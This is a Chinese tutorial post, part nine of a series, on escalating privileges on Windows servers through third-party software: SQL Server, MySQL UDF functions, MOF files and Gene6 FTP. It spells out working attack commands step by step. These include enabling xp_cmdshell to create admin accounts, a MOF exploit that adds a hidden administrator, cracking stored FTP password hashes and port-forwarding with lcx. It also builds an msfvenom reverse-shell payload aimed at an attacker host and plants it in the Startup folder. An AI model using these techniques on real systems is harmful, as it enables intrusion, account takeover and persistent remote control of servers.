Windows提权之第三方提权(九)

除了系统自带的服务外 ,安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对, 会对服务器造成安全隐患,从而导致服务器被提权。

一.sqlserver提权

1.描述

如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置 一般情况是system权限或者pulic 均能执行命令

2.敏感文件
复制代码
web.config 
config.asp 
conn.aspx 
database.aspx

3. 复现

使用mssql连接工具或者webshell net提权脚本输入账号和密码连接开启xp_cmdshell

开启xp_cmdshell

复制代码
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'

查看当前权限也是一个普通用户。可以执行一些基础的命令,可以上传溢出提权工具 再来提高当前用户的权限。 有些时候 是一个系统权限 主要还是要看目标管理员在开始安装sqlserver的时候给的是什么样的权限。

二.mysql提权

1.描述

在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀微

dll,c语言编写

2.插件目录

可以使用语句查询plugin插件目录

show variables like "%plugin%"

我们打开phpadmin

假如这个目录 或者配置文件不存在 我们都无法读出成功

我们查看是3306端口开启

然后去我们访问

我们首先先找到这个目录

C:/phpStudy/MySQL/lib

把这个dll文件你删除掉

我么首先关闭phpstudy服务 让后在删除删除

然后我们导出udf

这里显示导出成功

然后我们点击 创建函数

这里是创建函数的sql语句

然后我们查看用户

然后查看创建的函数

查看端口

自己输入指令

select sys_eval('whoami')

发现我们是系统权限

所以我们增加超级管理员

然后查询权限

然后我们就可以是使用3389登录

3.mysql提权问题

1.版本有32和64位的mysql创建函数的方法一样,但是64版本的要用64的udf.dll

2.TheMySQLserverisrunningwiththe--secure-file-privoptionsoitcannotexecutethis statement

这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可

SELECT @@global.secure_file_priv

如果显示null 那摩也不行

3.Can'tcreate/writetofile'D:\phpStudy\MySQL\lib\plugin\moonudf.dll

这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够

三.mof提权

1.描述

托管对象格式 (MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF文件将在 CIM储存库中注册所有的类定义和实 例。之后,提供程序、事件类别和事件信息 便可由 WMI和 VisualStudioAnalyzer使用。 在 MOF文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文 件进行编译

2.原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。

其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命

令。

3.影响版本

1.windows03及以下版本

2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录3.secure-file-priv参数不为null

4.复现

公开的nullevt.mof利用代码

复制代码
#pragma namespace("\\\\.\\root\\subscription")

instance of EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2"; Name	= "filtP2";
Query = "Select * From InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\")";
};

instance of FilterToConsumerBinding
{
Consumer	= $Consumer; Filter = $EventFilter;
};

上传mof.php

然后添加host文件

首先我们要增加账户

先查看账户

我们来创建隐藏账户(在net user 里边看不见)

我们在这里查看隐藏账号

这里边也创建了文件

我们来输入

net.exe user moonteam xxx12456 /add \&\& net localgroup administrators moonteam /add\

在这里我们发现已经成功了

四.G6FTP提权

1.描述

G6FTPServer新一代的 FTP服务器端软件,支持 RFC-959标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。

2.原理

G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端 口转发(使用lcx工具(lcx具有三个功能:监听、转发、端口转向))。

netstat -ano 查看G6fp端口

TCP 127.0.0.1:21 0.0.0.0:0 LISTENING 1072

TCP 127.0.0.1:8021 0.0.0.0:0 LISTENING 1072

TCP 192.168.25.146:21 0.0.0.0:0 LISTENING 1072

3.复现

在webshell访问 配置文件C:\ProgramFiles (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini

C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\

我们打开编辑

复制代码
[Server]
IP=127.0.0.1,8021\r\n
GrantAllAccessToLocalHost=0
[Acct=Administrator]
Enabled=1
Rights=0
Password=E10ADC3949BA59ABBE56E057F20F883E
[Acct=admin]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=
RootFolder=
Rights=0
IPAccessList=
[Acct=moonsec]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=*
RootFolder=C:
Rights=1
IPAccessList=
[Acct=admins]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=
RootFolder=
Rights=0
IPAccessList=

密码是123456

可以看到8021端口只能被本地访问

使用端口转发工具把8021端口转发出来

C:\inetpub\wwwroot\lcx.exe

我们输入

然后 输入执行

C:\inetpub\wwwroot\lcx.exe -tran 2333 127.0.0.1 8021

然后我们再终端输入

然后我们打开win10

新建 连接

在域控里新建用户

ftp 192.168.25.146

ftp 192.168.25.146

然后

我们这里失败了

我们呢也可以试试别的

ftp://192.168.25.146/

我们右键点击登录

我们用这个文件来替换

然后我们生成

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.25.138 lport=6666 -f exe > 8.exe

然后我们再本地做监听

然后我们生成好的 上传到目标主机

然后重启

我们也可以放到启动项

ftp://192.168.0.108/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start% 20Menu/Programs/Startup/

里来进行提权

相关推荐
宁zz9 小时前
乌班图安装jenkins
运维·jenkins
大丈夫立于天地间9 小时前
ISIS协议中的数据库同步
运维·网络·信息与通信
Dream Algorithm10 小时前
路由器的 WAN(广域网)口 和 LAN(局域网)口
网络·智能路由器
IT猿手10 小时前
基于CNN-LSTM的深度Q网络(Deep Q-Network,DQN)求解移动机器人路径规划,MATLAB代码
网络·cnn·lstm
吴盐煮_10 小时前
使用UDP建立连接,会存在什么问题?
网络·网络协议·udp
rainFFrain10 小时前
单例模式与线程安全
linux·运维·服务器·vscode·单例模式
hyshhhh10 小时前
【算法岗面试题】深度学习中如何防止过拟合?
网络·人工智能·深度学习·神经网络·算法·计算机视觉
币之互联万物11 小时前
AQUA爱克泳池设备入驻济南校园,以品质筑牢游泳教育安全防线
安全
tadus_zeng11 小时前
Windows C++ 排查死锁
c++·windows
EverestVIP11 小时前
VS中动态库(外部库)导出与使用
开发语言·c++·windows